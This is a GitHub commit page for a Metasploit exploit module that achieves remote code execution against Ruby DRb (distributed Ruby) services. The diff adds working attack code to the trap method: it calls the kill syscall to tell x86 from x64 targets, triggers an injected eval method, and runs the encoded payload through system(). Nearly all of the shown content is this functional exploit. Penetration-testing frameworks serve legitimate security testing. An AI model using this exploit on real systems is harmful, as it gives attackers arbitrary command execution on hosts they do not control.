Skip to content

Commit 87e683c

Browse files
committed
add back kill syscall for trap method
1 parent a0e0e1d commit 87e683c

File tree

1 file changed

+9
-1
lines changed

1 file changed

+9
-1
lines changed

modules/exploits/linux/misc/drb_remote_codeexec.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,6 @@ def initialize(info = {})
4141
'DisclosureDate' => 'Mar 23 2011',
4242
'DefaultTarget' => 0))
4343

44-
4544
register_options(
4645
[
4746
OptString.new('URI',
@@ -54,6 +53,15 @@ def initialize(info = {})
5453
def method_trap(p)
5554
p.send(:trap, 23,
5655
:"class Object\ndef my_eval(str)\nsystem(str.untaint)\nend\nend")
56+
# Decide if this is running on an x86 or x64 target, using the kill(2) syscall
57+
begin
58+
pid = p.send(:syscall, 20)
59+
p.send(:syscall, 37, pid, 23)
60+
rescue Errno::EBADF
61+
# 64 bit system
62+
pid = p.send(:syscall, 39)
63+
p.send(:syscall, 62, pid, 23)
64+
end
5765
p.send(:my_eval, payload.encoded)
5866
end
5967

0 commit comments

Comments
 (0)